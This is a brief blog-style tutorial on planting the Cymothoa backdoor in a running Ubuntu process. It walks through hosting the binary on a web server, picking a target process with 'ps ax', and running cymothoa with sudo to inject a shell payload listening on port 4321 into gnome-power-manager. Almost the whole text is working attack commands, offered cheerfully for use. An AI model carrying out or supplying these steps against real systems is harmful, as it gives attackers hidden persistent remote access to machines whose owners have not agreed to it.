Injecting Cymothoa to Ubuntu

Cymothoa is a backdoor that can inject itself into the running process.

Here's a way to Inject a cymothoa backdoor to ubuntu in virtualbox.

1. I will use a webserver in /var/www to transfer the cymothoa to ubuntu.

# cd /var/www

# mkdir cymo

# cp /pentest/backdoors/cymothoa/cymothoa /var/www/

2. Lets open our address in ubuntu.

3. Download the 'cymothoa' file. The one with no extension. 

4. Lets see what processes are running for us to be injected with cymothoa.

# ps ax

5. Ok, I'll inject it with the gnome-power-manager (PID 1154). Type the command. 

# sudo ./cymothoa -p 1154 -s 0 -y 4321

Thats it, now the system has been injected with our cymothoa backdoor.

Hope this helps..  :)

More updates coming soon.

Lets make the History!!